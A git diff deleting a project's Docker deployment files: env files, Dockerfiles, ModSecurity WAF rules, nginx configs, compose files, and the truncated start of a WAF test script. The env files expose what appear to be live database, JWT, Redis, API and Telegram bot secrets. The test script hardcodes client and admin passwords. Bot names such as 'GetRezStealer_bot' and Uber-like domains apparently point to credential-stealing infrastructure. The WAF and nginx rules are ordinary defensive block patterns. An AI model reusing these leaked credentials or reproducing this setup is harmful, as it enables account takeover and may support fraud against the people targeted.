diff --git a/docker/.env.example b/docker/.env.example deleted file mode 100644 index 389dfacb..00000000 --- a/docker/.env.example +++ /dev/null @@ -1,26 +0,0 @@ -DB_HOST=postgres -DB_PORT=5432 -DB_USER=postgres -DB_PASSWORD=Ia3JWjw3Y0HzlEXH6QH3pqEu09Fap5C420 -DB_NAME=gestion_db -DB_SSLMODE=disable -SESSION_SECRET=GwDgqYn7Tn4x6Hs9ZjUD6HP8B7pQWK -USER_JWT_SECRET=69F5ujM1YZ6JBh3pXczc3j0JzBuAvU -ADMIN_JWT_SECRET=RwPxdzSzAR7HcrufA6kEXHFdIiEX87 -REDIS_HOST=redis -REDIS_PORT=6379 -REDIS_PASSWORD=m3hQyr4BgF0Paer1H4a5iUnzXqjUji -TOMTOM_API_KEY=MERY8I7LMeYVSLKO5WuV73W9rKJpBLoB -TOMTOM_API_KEY_1=6F7HHk8GT6WGlZ22W4gfAbRiQk5lJoGV -TELEGRAM_BOT_TOKEN=7419967935:AAEeNIzlK6DqcQTL8q63zQ-Ted5W5VOd-LI -TELEGRAM_BOT_USERNAME=rezsssnfdsjfdsfbot -TELEGRAM_WEBHOOK_SECRET=vGB8n5H2fJTUx6jy6iYgYlqLz1mfSv9htF -TELEGRAM_WEBHOOK_URL=https://uber-demo.club/webhook/telegram -BACKEND_LINK_SECRET=QxAEEGUGRMtWbNvC2REo27haN78Rl5c5EQ -LBTELEGRAM_URL=http://lbtelegram:8081 -LBTELEGRAM_BOT1_USERNAME=GetRezStealer_bot -LBTELEGRAM_BOT2_USERNAME=rezDJDFJSFUltraFast_bot -BACKEND_LINK_SECRET=change_me_internal_secret -API_PORT=8080 -FRONTEND_PORT=5173 -GIN_MODE=release diff --git a/docker/.env.lbtelegram b/docker/.env.lbtelegram deleted file mode 100644 index c6af6483..00000000 --- a/docker/.env.lbtelegram +++ /dev/null @@ -1,30 +0,0 @@ -# Gateway -PORT=8081 -ENV=production -BOT_COUNT=2 - -# Bots Telegram -BOT1_TOKEN=8336841145:AAHPfHdgqLctEC_Zet5mT8D7ZXiwp8BQ1io -BOT1_USERNAME=GetRezStealer_bot -BOT1_WEBHOOK_SECRET=cVxqtea9s078ozDSlX57MWe6bjoLAK3ra7Zq - -BOT2_TOKEN=8325503969:AAGffm9Q-oYr5ySf8cR4Wr-e2CA2p_xOrbg -BOT2_USERNAME=rezDJDFJSFUltraFast_bot -BOT2_WEBHOOK_SECRET=591aVEu1kj3YUVCNWAOU2xGdFNCVWqElzXGi - -# URL publique de la gateway (pour setWebhook Telegram) -GATEWAY_URL=https://demo-uber.club - -# JWT -JWT_SECRET=IxGF36s14J0ZNeQCF2Of0APc4kpNd5PlsJ -JWT_TTL_SECONDS=300 - -# Load balancer: roundrobin | leastconn | failover -LB_STRATEGY=failover - -# Health check interval en secondes -HEALTH_CHECK_INTERVAL=30 - -# URL interne du backend pour valider les tokens de liaison -BACKEND_LINK_URL=http://backend:8080/api/internal/telegram/link -BACKEND_LINK_SECRET=QxAEEGUGRMtWbNvC2REo27haN78Rl5c5EQ diff --git a/docker/backend/Dockerfile b/docker/backend/Dockerfile deleted file mode 100644 index 6464ae4f..00000000 --- a/docker/backend/Dockerfile +++ /dev/null @@ -1,76 +0,0 @@ -FROM golang:1.24-alpine AS builder -WORKDIR /app - -# Installer les dépendances système -RUN apk add --no-cache git ca-certificates tzdata gcc musl-dev - -# Copier go mod files -COPY backend/gestion/go.mod backend/gestion/go.sum ./ - -# Configurer Go et télécharger les dépendances -ENV GOPROXY=https://proxy.golang.org,direct -ENV GOSUMDB=sum.golang.org -ENV CGO_ENABLED=0 - -# Télécharger les dépendances -RUN go mod download - -# Copier tout le code source -COPY backend/gestion/ . - -# Build le binaire -RUN CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build \ - -ldflags="-w -s -X main.Version=1.0.0 -X main.BuildTime=$(date -u +%Y-%m-%dT%H:%M:%SZ)" \ - -o /app/server . - -# ========================================================= -# Stage 2: Runtime -# ========================================================= -FROM alpine:latest AS runtime - -# Installer les dépendances runtime -RUN apk --no-cache add ca-certificates tzdata wget - -# Créer l'utilisateur avec UID/GID fixes -RUN addgroup -g 101 app && adduser -u 101 -S app -G app - - -WORKDIR /app - -# Copier le binaire et les fichiers nécessaires -COPY --from=builder /app/server . -COPY --from=builder /usr/share/zoneinfo /usr/share/zoneinfo - -# Copier l'entrypoint -COPY docker/backend/entrypoint.sh . -RUN chmod +x entrypoint.sh - -RUN mkdir -p /app/uploads/images /app/uploads/videos && \ - chown -R app:app /app - -# Passer à l'utilisateur non-root -USER app - -EXPOSE 8080 - -ENTRYPOINT ["./entrypoint.sh"] - -# ========================================================= -# Stage 3: WAF (Nginx + ModSecurity) -# ========================================================= -FROM owasp/modsecurity-crs:nginx-alpine AS waf - -# Toutes les opérations privilégiées en root -USER root - -RUN mkdir -p /var/log/modsec /etc/nginx/certs && \ - chown -R nginx:nginx /var/log/modsec /etc/nginx/certs /usr/share/nginx/html - -COPY docker/backend/nginx.conf /etc/nginx/conf.d/app.conf -COPY docker/backend/custom-rules.conf /etc/nginx/modsec/custom-rules.conf -RUN echo "Include /etc/nginx/modsec/custom-rules.conf" > /etc/nginx/modsec/custom-includes.conf && \ - rm -f /etc/nginx/templates/conf.d/default.conf.template || true - -USER nginx -EXPOSE 80 443 -CMD ["nginx", "-g", "daemon off;"] diff --git a/docker/backend/custom-rules.conf b/docker/backend/custom-rules.conf deleted file mode 100644 index c2aaeb37..00000000 --- a/docker/backend/custom-rules.conf +++ /dev/null @@ -1,77 +0,0 @@ -# Exclure le corps des requêtes/réponses de l'audit log pour garder les lignes < 6KB (limite Wazuh) -SecAuditLogParts ABIFHZ - -SecRuleRemoveById 932235 -SecRuleRemoveById 911100 - -SecRule REQUEST_URI "@streq /api/v2/admin/protected/products" \ - "id:399002,phase:2,nolog,pass,\ - ctl:ruleRemoveById=920120,\ - ctl:ruleRemoveById=920121" - -SecRule REQUEST_URI "@beginsWith /uploads/" \ - "id:1000,\ - phase:1,\ - pass,\ - nolog,\ - ctl:ruleEngine=Off" - -SecRule IP:BANNED "@eq 1" \ - "id:100000,phase:1,deny,status:403,log,\ - msg:'IP is banned'" - -SecRule IP:REPUTATION_SCORE "@ge 100" \ - "id:100099,phase:1,deny,status:403,log,\ - msg:'Critical reputation score',\ - setvar:'ip.blocked=1',expirevar:'ip.blocked=86400'" - -SecRule TX:SQL_INJECTION_SCORE "@ge 5" \ - "id:100001,phase:2,deny,status:403,log,\ - msg:'SQL Injection detected',\ - setvar:'ip.banned=1',expirevar:'ip.banned=172800'" - -SecRule TX:XSS_SCORE "@ge 5" \ - "id:100010,phase:2,deny,status:403,log,\ - msg:'XSS detected',\ - setvar:'ip.banned=1',expirevar:'ip.banned=172800'" - -SecRule TX:RCE_SCORE "@ge 5" \ - "id:100020,phase:2,deny,status:403,log,\ - msg:'RCE detected',\ - setvar:'ip.banned=1',expirevar:'ip.banned=259200'" - -SecRule TX:LFI_SCORE "@ge 5" \ - "id:100030,phase:2,deny,status:403,log,\ - msg:'LFI detected',\ - setvar:'ip.banned=1',expirevar:'ip.banned=172800'" - -SecRule TX:INBOUND_ANOMALY_SCORE "@ge 20" \ - "id:100060,phase:2,deny,status:403,log,\ - msg:'Critical anomaly score',\ - setvar:'ip.banned=1',expirevar:'ip.banned=172800'" - -SecRule REQUEST_URI "@streq /api/v1/panier/remove" \ - "id:399010,phase:1,nolog,pass,\ - ctl:ruleRemoveById=911100,ctl:ruleRemoveById=920350" - -SecRule REQUEST_URI "@streq /api/v1/panier/clear" \ - "id:399011,phase:1,nolog,pass,\ - ctl:ruleRemoveById=911100,ctl:ruleRemoveById=920350" - -SecRule REQUEST_URI "@streq /api/v2/admin/protected/products" \ - "id:399001,phase:2,nolog,pass,\ - ctl:ruleRemoveById=932235" - -SecAction \ - "id:400161,phase:1,nolog,pass,\ - setvar:'ip.request_window_1sec=+1',\ - expirevar:'ip.request_window_1sec=1'" - -SecRule IP:REQUEST_WINDOW_1SEC "@gt 20" \ - "id:400160,phase:1,deny,status:429,log,\ - msg:'Too many requests'" - -SecRule IP:REPUTATION_SCORE "@ge 100" \ - "id:409999,phase:1,deny,status:403,log,\ - msg:'Critical reputation score',\ - setvar:'ip.blocked=1',expirevar:'ip.blocked=86400'" diff --git a/docker/backend/entrypoint.sh b/docker/backend/entrypoint.sh deleted file mode 100755 index 4c1b857e..00000000 --- a/docker/backend/entrypoint.sh +++ /dev/null @@ -1,16 +0,0 @@ -#!/bin/sh -set -e - -# Créer le dossier uploads s'il n'existe pas (le volume le crée en root) -# Puis créer les sous-dossiers -if [ ! -d "/app/uploads" ]; then - mkdir -p /app/uploads -fi - -# Créer les sous-répertoires -mkdir -p /app/uploads/images /app/uploads/videos 2>/dev/null || true - -echo "✅ Répertoires uploads prêts" - -# Lancer l'application -exec ./server diff --git a/docker/backend/nginx.conf b/docker/backend/nginx.conf deleted file mode 100644 index 557db88f..00000000 --- a/docker/backend/nginx.conf +++ /dev/null @@ -1,215 +0,0 @@ -# ========================================================= -# Request ID correlation -# ========================================================= -map $http_x_request_id $req_id { - default $http_x_request_id; - "" $request_id; -} - -# ========================================================= -# HTTP → HTTPS redirect -# ========================================================= -server { - listen 80; - listen [::]:80; - server_name _; - - return 301 https://$host$request_uri; -} - -# ========================================================= -# HTTPS — Hardened -# ========================================================= -server { - listen 443 ssl; - listen [::]:443 ssl; - http2 on; - server_name _; - - server_tokens off; - - # --------------------------------------------------- - # TLS - # --------------------------------------------------- - ssl_certificate /etc/nginx/certs/fullchain.pem; - ssl_certificate_key /etc/nginx/certs/privkey.pem; - - ssl_protocols TLSv1.2 TLSv1.3; - ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256; - ssl_prefer_server_ciphers off; - - ssl_session_cache shared:SSL:10m; - ssl_session_timeout 1d; - ssl_session_tickets off; - - ssl_stapling on; - ssl_stapling_verify on; - ssl_trusted_certificate /etc/nginx/certs/fullchain.pem; - resolver 127.0.0.11 valid=10s ipv6=off; - resolver_timeout 5s; - - # --------------------------------------------------- - # En-têtes de sécurité - # --------------------------------------------------- - add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always; - add_header X-Frame-Options "SAMEORIGIN" always; - add_header X-Content-Type-Options "nosniff" always; - add_header X-XSS-Protection "0" always; - add_header Referrer-Policy "strict-origin-when-cross-origin" always; - add_header Permissions-Policy "geolocation=(), microphone=(), camera=(), payment=()" always; - add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data: blob: https:; font-src 'self' data:; connect-src 'self' https:; frame-ancestors 'self';" always; - - # --------------------------------------------------- - # Limites et timeouts - # --------------------------------------------------- - client_max_body_size 100M; - client_body_buffer_size 128k; - client_header_buffer_size 1k; - large_client_header_buffers 4 8k; - - client_body_timeout 30s; - client_header_timeout 30s; - send_timeout 30s; - keepalive_timeout 65s; - - # --------------------------------------------------- - # Gzip (statique uniquement — évite BREACH sur l'API) - # --------------------------------------------------- - gzip on; - gzip_vary on; - gzip_proxied any; - gzip_comp_level 5; - gzip_min_length 1000; - gzip_types text/plain text/css text/javascript application/javascript application/json image/svg+xml; - - # --------------------------------------------------- - # ModSecurity WAF - # --------------------------------------------------- - modsecurity on; - modsecurity_rules_file /etc/nginx/modsec/custom-rules.conf; - - # --------------------------------------------------- - # API backend Go - # --------------------------------------------------- - location /api/ { - limit_except GET POST PUT PATCH DELETE OPTIONS { deny all; } - - if ($request_method = 'OPTIONS') { - add_header 'Access-Control-Allow-Origin' "$http_origin" always; - add_header 'Access-Control-Allow-Methods' 'GET, POST, PUT, PATCH, DELETE, OPTIONS' always; - add_header 'Access-Control-Allow-Headers' 'Authorization, Content-Type, X-Request-ID' always; - add_header 'Access-Control-Allow-Credentials' 'true' always; - add_header 'Access-Control-Max-Age' 86400 always; - add_header 'Content-Length' 0; - add_header 'Content-Type' 'text/plain charset=UTF-8'; - return 204; - } - - set $upstream_backend http://backend:8080; - proxy_pass $upstream_backend; - proxy_http_version 1.1; - proxy_set_header Connection ""; - proxy_set_header Host $host; - proxy_set_header X-Real-IP $remote_addr; - proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; - proxy_set_header X-Forwarded-Proto $scheme; - proxy_set_header X-Request-ID $req_id; - proxy_hide_header X-Powered-By; - - proxy_connect_timeout 60s; - proxy_send_timeout 300s; - proxy_read_timeout 300s; - - proxy_buffer_size 128k; - proxy_buffers 4 256k; - proxy_busy_buffers_size 256k; - } - - # --------------------------------------------------- - # Webhook Telegram principal → backend Go - # --------------------------------------------------- - location = /webhook/telegram { - limit_except POST { deny all; } - - set $upstream_backend http://backend:8080; - proxy_pass $upstream_backend; - proxy_http_version 1.1; - proxy_set_header Connection ""; - proxy_set_header Host $host; - proxy_set_header X-Real-IP $remote_addr; - proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; - proxy_set_header X-Forwarded-Proto $scheme; - } - - # --------------------------------------------------- - # Webhooks LBTelegram (/webhook/bot1, /webhook/bot2…) - # --------------------------------------------------- - location /webhook/ { - limit_except POST { deny all; } - - set $upstream_lbtelegram http://lbtelegram:8081; - proxy_pass $upstream_lbtelegram; - proxy_http_version 1.1; - proxy_set_header Connection ""; - proxy_set_header Host $host; - proxy_set_header X-Real-IP $remote_addr; - proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; - proxy_set_header X-Forwarded-Proto $scheme; - } - - # --------------------------------------------------- - # Fichiers uploadés (images / vidéos) - # --------------------------------------------------- - location /uploads/ { - alias /usr/share/nginx/html/uploads/; - expires 7d; - add_header Cache-Control "public, no-transform" always; - add_header X-Content-Type-Options "nosniff" always; - - location ~* \.(php|pl|py|cgi|sh|rb|exe)$ { - deny all; - } - } - - # --------------------------------------------------- - # Frontend React SPA - # --------------------------------------------------- - location / { - set $upstream_frontend http://frontend:80; - proxy_pass $upstream_frontend; - proxy_http_version 1.1; - proxy_set_header Connection ""; - proxy_set_header Host $host; - proxy_set_header X-Real-IP $remote_addr; - proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; - proxy_set_header X-Forwarded-Proto $scheme; - } - - # --------------------------------------------------- - # Blocage fichiers sensibles - # --------------------------------------------------- - location ~ /\. { - deny all; - access_log off; - log_not_found off; - } - - location ~* \.(env|git|sql|bak|log|conf|ini|sh)$ { - deny all; - access_log off; - log_not_found off; - } - - location ~* (package\.json|package-lock\.json|yarn\.lock|Dockerfile|docker-compose)$ { - deny all; - access_log off; - log_not_found off; - } - - # Bloquer scans WordPress / PHP courants - location ~* (wp-admin|wp-login|wp-content|xmlrpc|\.php)$ { - deny all; - access_log off; - log_not_found off; - } -} diff --git a/docker/docker-compose-pre-prod.yml b/docker/docker-compose-pre-prod.yml deleted file mode 100644 index 0a4c84d8..00000000 --- a/docker/docker-compose-pre-prod.yml +++ /dev/null @@ -1,212 +0,0 @@ -services: - # ========================================================= - # Backend Go - # ========================================================= - backend: - image: xor1234/backend-mln:pre-prod - container_name: gestion-backend - restart: unless-stopped - environment: - - DB_HOST=${DB_HOST:-postgres} - - DB_PORT=${DB_PORT:-5432} - - DB_USER=${DB_USER:-postgres} - - DB_PASSWORD=${DB_PASSWORD} - - DB_NAME=${DB_NAME:-gestion_db} - - DB_SSLMODE=${DB_SSLMODE:-disable} - - SESSION_SECRET=${SESSION_SECRET} - - USER_JWT_SECRET=${USER_JWT_SECRET} - - USER_JWT_SECRET_OLD=${USER_JWT_SECRET_OLD} - - ADMIN_JWT_SECRET=${ADMIN_JWT_SECRET} - - ADMIN_JWT_SECRET_OLD=${ADMIN_JWT_SECRET_OLD} - - REDIS_HOST=${REDIS_HOST:-redis} - - REDIS_PORT=${REDIS_PORT:-6379} - - REDIS_PASSWORD=${REDIS_PASSWORD} - - TOMTOM_API_KEY=${TOMTOM_API_KEY} - - TOMTOM_API_KEY_1=${TOMTOM_API_KEY_1} - - TOMTOM_API_KEY_2=${TOMTOM_API_KEY_2} - - TOMTOM_API_KEY_3=${TOMTOM_API_KEY_3} - - API_PORT=${API_PORT:-8080} - - NOWPAYMENTS_IPN_SECRET=${NOWPAYMENTS_IPN_SECRET} - - TELEGRAM_BOT_TOKEN=${TELEGRAM_BOT_TOKEN} - - TELEGRAM_BOT_USERNAME=${TELEGRAM_BOT_USERNAME} - - TELEGRAM_WEBHOOK_SECRET=${TELEGRAM_WEBHOOK_SECRET} - - TELEGRAM_WEBHOOK_URL=${TELEGRAM_WEBHOOK_URL} - - LBTELEGRAM_URL=http://lbtelegram:8081 - - LBTELEGRAM_BOT1_USERNAME=${LBTELEGRAM_BOT1_USERNAME:-GetRezStealer_bot} - - LBTELEGRAM_BOT2_USERNAME=${LBTELEGRAM_BOT2_USERNAME:-rezDJDFJSFUltraFast_bot} - - BACKEND_LINK_SECRET=${BACKEND_LINK_SECRET:-change_me_internal_secret} - volumes: - - backend_uploads:/app/uploads - networks: - - gestion-network - depends_on: - postgres: - condition: service_healthy - redis: - condition: service_healthy - - # ========================================================= - # Frontend Web (React/Vite — servi en HTTP interne) - # ========================================================= - frontend: - image: xor1234/frontend-mln:pre-prod - container_name: gestion-frontend - restart: unless-stopped - networks: - - gestion-network - depends_on: - - backend - - waf: - image: xor1234/backend-mln:waf-pre-prod - container_name: gestion-waf - restart: unless-stopped - environment: - - DISABLE_MODSEC_ENV_SUBST=true - - PARANOIA=2 - - ANOMALY_INBOUND=5 - - ANOMALY_OUTBOUND=4 - - MODSEC_AUDIT_LOG=/var/log/modsec/modsec_audit.log - ports: - - "80:80" - - "443:443" - volumes: - - backend_uploads:/usr/share/nginx/html/uploads:ro - - ./certs:/etc/nginx/certs:ro - - ./backend/nginx.conf:/etc/nginx/conf.d/app.conf:ro - - ./backend/custom-rules.conf:/etc/nginx/modsec/custom-rules.conf:ro - - /var/log/waf/nginx:/var/log/nginx - - /var/log/waf/modsec:/var/log/modsec - networks: - - gestion-network - depends_on: - - backend - - frontend - - # ========================================================= - # PostgreSQL - # ========================================================= - postgres: - image: postgres:16-alpine - container_name: gestion-postgres - restart: unless-stopped - environment: - - POSTGRES_USER=${DB_USER:-postgres} - - POSTGRES_PASSWORD=${DB_PASSWORD} - - POSTGRES_DB=${DB_NAME:-gestion_db} - - PGDATA=/var/lib/postgresql/data/pgdata - volumes: - - postgres_data:/var/lib/postgresql/data - networks: - - gestion-network - healthcheck: - test: - [ - "CMD-SHELL", - "pg_isready -U ${DB_USER:-postgres} -d ${DB_NAME:-gestion_db}", - ] - interval: 10s - timeout: 5s - retries: 5 - start_period: 10s - - # ========================================================= - # Redis - # ========================================================= - redis: - image: redis:7-alpine - container_name: gestion-redis - restart: unless-stopped - command: > - redis-server - --requirepass ${REDIS_PASSWORD} - --appendonly yes - --appendfsync everysec - --maxmemory 256mb - --maxmemory-policy allkeys-lru - volumes: - - redis_data:/data - networks: - - gestion-network - healthcheck: - test: - [ - "CMD", - "redis-cli", - "--no-auth-warning", - "-a", - "${REDIS_PASSWORD}", - "ping", - ] - interval: 10s - timeout: 3s - retries: 5 - start_period: 10s - - # ========================================================= - # LBTelegram — Gateway Telegram load balancer - # ========================================================= - lbtelegram: - image: xor1234/load-balancer-tlg:latest - container_name: gestion-lbtelegram - restart: unless-stopped - env_file: ./.env.lbtelegram - environment: - - REDIS_URL=redis://:${REDIS_PASSWORD}@redis:6379/0 - - DATABASE_URL=postgres://${DB_USER}:${DB_PASSWORD}@postgres:5432/${DB_NAME}?sslmode=disable - networks: - - gestion-network - depends_on: - postgres: - condition: service_healthy - redis: - condition: service_healthy - backend: - condition: service_started - - clamav: - deploy: - resources: - limits: - memory: 1g - cpus: 0.5 - image: clamav/clamav:latest - container_name: gestion-clamav - restart: unless-stopped - volumes: - - backend_uploads:/app/uploads:ro - - clamav_data:/var/lib/clamav - networks: - - gestion-network - healthcheck: - test: ["CMD", "clamdcheck.sh"] - interval: 60s - timeout: 10s - retries: 3 - start_period: 120s - - dozzle-agent: - image: amir20/dozzle:latest - command: agent - volumes: - - /var/run/docker.sock:/var/run/docker.sock:ro - ports: - - "7007:7007" - restart: unless-stopped - -networks: - gestion-network: - driver: bridge - internal: false - driver_opts: - com.docker.network.bridge.name: gestion-br0 - -volumes: - postgres_data: - driver: local - redis_data: - driver: local - backend_uploads: - driver: local - clamav_data: - driver: local diff --git a/docker/docker-compose-prod.yml b/docker/docker-compose-prod.yml deleted file mode 100644 index d62c40bd..00000000 --- a/docker/docker-compose-prod.yml +++ /dev/null @@ -1,212 +0,0 @@ -services: - # ========================================================= - # Backend Go - # ========================================================= - backend: - image: xor1234/backend-mln:latest - container_name: gestion-backend - restart: unless-stopped - environment: - - DB_HOST=${DB_HOST:-postgres} - - DB_PORT=${DB_PORT:-5432} - - DB_USER=${DB_USER:-postgres} - - DB_PASSWORD=${DB_PASSWORD} - - DB_NAME=${DB_NAME:-gestion_db} - - DB_SSLMODE=${DB_SSLMODE:-disable} - - SESSION_SECRET=${SESSION_SECRET} - - USER_JWT_SECRET=${USER_JWT_SECRET} - - USER_JWT_SECRET_OLD=${USER_JWT_SECRET_OLD} - - ADMIN_JWT_SECRET=${ADMIN_JWT_SECRET} - - ADMIN_JWT_SECRET_OLD=${ADMIN_JWT_SECRET_OLD} - - REDIS_HOST=${REDIS_HOST:-redis} - - REDIS_PORT=${REDIS_PORT:-6379} - - REDIS_PASSWORD=${REDIS_PASSWORD} - - TOMTOM_API_KEY=${TOMTOM_API_KEY} - - TOMTOM_API_KEY_1=${TOMTOM_API_KEY_1} - - TOMTOM_API_KEY_2=${TOMTOM_API_KEY_2} - - TOMTOM_API_KEY_3=${TOMTOM_API_KEY_3} - - API_PORT=${API_PORT:-8080} - - NOWPAYMENTS_IPN_SECRET=${NOWPAYMENTS_IPN_SECRET} - - TELEGRAM_BOT_TOKEN=${TELEGRAM_BOT_TOKEN} - - TELEGRAM_BOT_USERNAME=${TELEGRAM_BOT_USERNAME} - - TELEGRAM_WEBHOOK_SECRET=${TELEGRAM_WEBHOOK_SECRET} - - TELEGRAM_WEBHOOK_URL=${TELEGRAM_WEBHOOK_URL} - - LBTELEGRAM_URL=http://lbtelegram:8081 - - LBTELEGRAM_BOT1_USERNAME=${LBTELEGRAM_BOT1_USERNAME:-GetRezStealer_bot} - - LBTELEGRAM_BOT2_USERNAME=${LBTELEGRAM_BOT2_USERNAME:-rezDJDFJSFUltraFast_bot} - - BACKEND_LINK_SECRET=${BACKEND_LINK_SECRET:-change_me_internal_secret} - volumes: - - backend_uploads:/app/uploads - networks: - - gestion-network - depends_on: - postgres: - condition: service_healthy - redis: - condition: service_healthy - - # ========================================================= - # Frontend Web (React/Vite — servi en HTTP interne) - # ========================================================= - frontend: - image: xor1234/frontend-mln:latest - container_name: gestion-frontend - restart: unless-stopped - networks: - - gestion-network - depends_on: - - backend - - waf: - image: xor1234/backend-mln:waf - container_name: gestion-waf - restart: unless-stopped - environment: - - DISABLE_MODSEC_ENV_SUBST=true - - PARANOIA=2 - - ANOMALY_INBOUND=5 - - ANOMALY_OUTBOUND=4 - - MODSEC_AUDIT_LOG=/var/log/modsec/modsec_audit.log - ports: - - "80:80" - - "443:443" - volumes: - - backend_uploads:/usr/share/nginx/html/uploads:ro - - ./certs:/etc/nginx/certs:ro - - ./backend/nginx.conf:/etc/nginx/conf.d/app.conf:ro - - ./backend/custom-rules.conf:/etc/nginx/modsec/custom-rules.conf:ro - - /var/log/waf/nginx:/var/log/nginx - - /var/log/waf/modsec:/var/log/modsec - networks: - - gestion-network - depends_on: - - backend - - frontend - - # ========================================================= - # PostgreSQL - # ========================================================= - postgres: - image: postgres:16-alpine - container_name: gestion-postgres - restart: unless-stopped - environment: - - POSTGRES_USER=${DB_USER:-postgres} - - POSTGRES_PASSWORD=${DB_PASSWORD} - - POSTGRES_DB=${DB_NAME:-gestion_db} - - PGDATA=/var/lib/postgresql/data/pgdata - volumes: - - postgres_data:/var/lib/postgresql/data - networks: - - gestion-network - healthcheck: - test: - [ - "CMD-SHELL", - "pg_isready -U ${DB_USER:-postgres} -d ${DB_NAME:-gestion_db}", - ] - interval: 10s - timeout: 5s - retries: 5 - start_period: 10s - - # ========================================================= - # Redis - # ========================================================= - redis: - image: redis:7-alpine - container_name: gestion-redis - restart: unless-stopped - command: > - redis-server - --requirepass ${REDIS_PASSWORD} - --appendonly yes - --appendfsync everysec - --maxmemory 256mb - --maxmemory-policy allkeys-lru - volumes: - - redis_data:/data - networks: - - gestion-network - healthcheck: - test: - [ - "CMD", - "redis-cli", - "--no-auth-warning", - "-a", - "${REDIS_PASSWORD}", - "ping", - ] - interval: 10s - timeout: 3s - retries: 5 - start_period: 10s - - # ========================================================= - # LBTelegram — Gateway Telegram load balancer - # ========================================================= - lbtelegram: - image: xor1234/load-balancer-tlg:latest - container_name: gestion-lbtelegram - restart: unless-stopped - env_file: ./.env.lbtelegram - environment: - - REDIS_URL=redis://:${REDIS_PASSWORD}@redis:6379/0 - - DATABASE_URL=postgres://${DB_USER}:${DB_PASSWORD}@postgres:5432/${DB_NAME}?sslmode=disable - networks: - - gestion-network - depends_on: - postgres: - condition: service_healthy - redis: - condition: service_healthy - backend: - condition: service_started - - clamav: - deploy: - resources: - limits: - memory: 1g - cpus: 0.5 - image: clamav/clamav:latest - container_name: gestion-clamav - restart: unless-stopped - volumes: - - backend_uploads:/app/uploads:ro - - clamav_data:/var/lib/clamav - networks: - - gestion-network - healthcheck: - test: ["CMD", "clamdcheck.sh"] - interval: 60s - timeout: 10s - retries: 3 - start_period: 120s - - dozzle-agent: - image: amir20/dozzle:latest - command: agent - volumes: - - /var/run/docker.sock:/var/run/docker.sock:ro - ports: - - "7007:7007" - restart: unless-stopped - -networks: - gestion-network: - driver: bridge - internal: false - driver_opts: - com.docker.network.bridge.name: gestion-br0 - -volumes: - postgres_data: - driver: local - redis_data: - driver: local - backend_uploads: - driver: local - clamav_data: - driver: local diff --git a/docker/frontend/Dockerfile b/docker/frontend/Dockerfile deleted file mode 100644 index 8594b8ff..00000000 --- a/docker/frontend/Dockerfile +++ /dev/null @@ -1,34 +0,0 @@ -# ========================================================= -# Stage 1: Build React/Vite -# ========================================================= -FROM node:22-alpine AS builder - -WORKDIR /app - -COPY frontend-prep/package.json frontend-prep/package-lock.json* ./ -RUN npm ci --ignore-scripts - -COPY frontend-prep/ . -RUN npm run build - -# ========================================================= -# Stage 2: Nginx HTTP (TLS terminé par le WAF) -# ========================================================= -FROM nginx:alpine AS runtime - -COPY docker/frontend/nginx.conf /etc/nginx/conf.d/default.conf - -COPY --from=builder /app/dist /usr/share/nginx/html - -RUN chown -R nginx:nginx /usr/share/nginx/html && \ - mkdir -p /var/cache/nginx && \ - chown -R nginx:nginx /var/cache/nginx && \ - chown -R nginx:nginx /var/log/nginx && \ - touch /var/run/nginx.pid && \ - chown nginx:nginx /var/run/nginx.pid - -USER nginx - -EXPOSE 80 - -CMD ["nginx", "-g", "daemon off;"] diff --git a/docker/frontend/nginx.conf b/docker/frontend/nginx.conf deleted file mode 100644 index 6d95b8c4..00000000 --- a/docker/frontend/nginx.conf +++ /dev/null @@ -1,16 +0,0 @@ -server { - listen 80; - server_name _; - - root /usr/share/nginx/html; - index index.html; - - location / { - try_files $uri $uri/ /index.html; - } - - location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg|woff|woff2|ttf|eot)$ { - expires 1y; - add_header Cache-Control "public, immutable"; - } -} diff --git a/docker/test-rules.sh b/docker/test-rules.sh deleted file mode 100755 index 3f0fd0c9..00000000 --- a/docker/test-rules.sh +++ /dev/null @@ -1,610 +0,0 @@ -#!/bin/bash - -# ============================================================================= -# Script de Test - ModSecurity Rules (XSS, SQL Injection, RCE, LFI, RFI) -# ============================================================================= -# Description: Teste les règles WAF pour XSS, SQL, RCE, LFI et RFI -# Usage: ./test-rules.sh -# ============================================================================= - -# Couleurs pour l'affichage -RED='\033[0;31m' -GREEN='\033[0;32m' -YELLOW='\033[1;33m' -BLUE='\033[0;34m' -PURPLE='\033[0;35m' -CYAN='\033[0;36m' -NC='\033[0m' # No Color -BOLD='\033[1m' - -# Configuration -API_BASE_URL="http://172.20.167.237" - -# Credentials Client -CLIENT_USERNAME="salut" -CLIENT_PASSWORD="salut1234_" -CLIENT_TOKEN="" - -# Credentials Admin -ADMIN_USERNAME="admin_1768505094" -ADMIN_PASSWORD="AdminPass123!" -ADMIN_TOKEN="" - -TOTAL_TESTS=0 -PASSED_TESTS=0 -FAILED_TESTS=0 -LOG_FILE="modsec_test_$(date +%Y%m%d_%H%M%S).log" - -# ============================================================================= -# Fonctions Utilitaires -# ============================================================================= - -print_header() { - echo -e "\n${BOLD}${CYAN}========================================${NC}" - echo -e "${BOLD}${CYAN}$1${NC}" - echo -e "${BOLD}${CYAN}========================================${NC}\n" -} - -print_section() { - echo -e "\n${BOLD}${BLUE}>>> $1${NC}\n" -} - -print_test() { - echo -e "${YELLOW}[TEST] $1${NC}" -} - -print_success() { - ((PASSED_TESTS++)) - ((TOTAL_TESTS++)) - echo -e "${GREEN}✓ PASS${NC} - $1" | tee -a "$LOG_FILE" -} - -print_fail() { - ((FAILED_TESTS++)) - ((TOTAL_TESTS++)) - echo -e "${RED}✗ FAIL${NC} - $1" | tee -a "$LOG_FILE" -} - -print_info() { - echo -e "${CYAN}ℹ INFO${NC} - $1" -} - -print_warning() { - echo -e "${YELLOW}⚠ WARNING${NC} - $1" -} - -print_response() { - echo -e 